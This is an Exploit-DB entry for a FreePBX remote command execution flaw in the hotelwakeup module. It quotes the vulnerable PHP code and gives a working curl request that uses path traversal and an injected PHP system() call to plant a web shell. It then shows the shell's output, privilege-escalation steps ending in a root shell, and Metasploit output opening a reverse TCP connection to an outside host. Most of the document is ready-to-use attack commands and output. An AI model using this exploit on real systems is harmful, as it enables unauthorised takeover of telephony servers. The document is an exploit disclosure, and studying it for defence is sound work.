Exploit-DB #40434
Description: FreePBX < 13.0.188 - Remote Command Execution (Metasploit)
Type: remote
Platform: php
Date: 2016-09-27
Author: 0x4148

Exploit:
#Title : Freepbx < 13.0.188 , Remote root exploit
#Vulnerable software : Freepbx < 13.0.188
#Author : Ahmed Sultan (0x4148)
#Email : 0x4148@gmail.com
#Current software status : patch released
#Vendor : Sangoma <freepbx.org>

=begin
Freepbx 13.x are vulnerable to Remote command execution due to the insuffecient sanitization of the user input fields language,destination and also due to the lack of good authentication checking
Technical details
Vulnerable file : admin/modules/hotelwakeup/Hotelwakeup.class.php
Line 102 :
	public function generateCallFile($foo) {
       ...............................
        if (empty($foo['filename'])) {
            $foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call"; <<<<<---------------------Vulnerable
        }
		...........................
        // Delete any old .call file with the same name as the one we are creating.
        if(file_exists($outfile) ) {
            unlink($outfile);
        }
        // Create up a .call file, write and close
        $wuc = fopen($tempfile, 'w');
        fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
        fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
        fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
        fputs( $wuc, "waittime: ".$foo['waittime']."\n");
        fputs( $wuc, "callerid: ".$foo['callerid']."\n");
        fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n");  <<<<<---------------------Vulnerable
        fputs( $wuc, "application: ".$foo['application']."\n");
        fputs( $wuc, "data: ".$foo['data']."\n");
        fclose( $wuc );
		..........................
The ext value can be manipulated by the attacker to change the output file path 
the language value can be manipulated by the attacket to load in malicious contents
Function is called at
Line 94 : 
	public function addWakeup($destination, $time, $lang) {
        $date = $this->getConfig();  // module config provided by user
        $this->generateCallFile(array(
            "time"  => $time,
            "date" => 'unused',
            "ext" => $destination, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [Filename field]
            "language" => $lang, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [language field loaded with malicious code]
            "maxretries" => $date['maxretries'],
            "retrytime" => $date['retrytime'],
            "waittime" => $date['waittime'],
            "callerid" => $date['cnam']." <".$date['cid'].">",
            "application" => 'AGI',
            "data" => 'wakeconfirm.php',
        ));
    }
addWakeup function is called when calling the hotelwakeup module via ajax.php and setting savecall as command
Line 60 : 
		    switch($_REQUEST['command']) {
            case "savecall":
                if(empty($_POST['language'])) {
                    $lang = 'en'; //default to English if empty
                } else {
                    $lang = $_POST['language']; <<<<<<<<<<<<<<<<<<<===========================
                }
            ............................................
                if ($badtime)  {
                    // abandon .call file creation and pop up a js alert to the user
                    return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
                } else {
                    $this->addWakeup($_POST['destination'],$time_wakeup,$lang); <<<<<<<<<<<=======================
                    return array("status" => true);
                }
           .................................
POC : 
[0x4148:/lab]# curl "http://68.170.92.50:8080/admin/ajax.php" -H "Host: 68.170.92.50:8080" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://68.170.92.50:8080/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc[PII_REDACTED].ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#    

The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php

[0x4148:/lab]# curl "http://68.170.92.50:8080/0x4148.php.call"
channel: Local//../../../../../../var/www/html/0x4148.php@originate-skipvm
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)
application: AGI
data: wakeconfirm.php

Privelage can be escalated via adding the asterisk user to sudoers which can be done manually 
then echo a > /var/spool/asterisk/sysadmin/amportal_restart
sleeping for few seconds
then sudo bash -i

MSF OUTPUT
msf > use exploit/fpbx
msf exploit(fpbx) > set RHOST 68.170.92.50
RHOST => 68.170.92.50
msf exploit(fpbx) > set RPORT 8080
RPORT => 8080
msf exploit(fpbx) > exploit

[*] [2016.09.27-16:39:21] Started reverse TCP handler on 88.150.231.125:443
[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Sending payload . . .
[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Trying to execute payload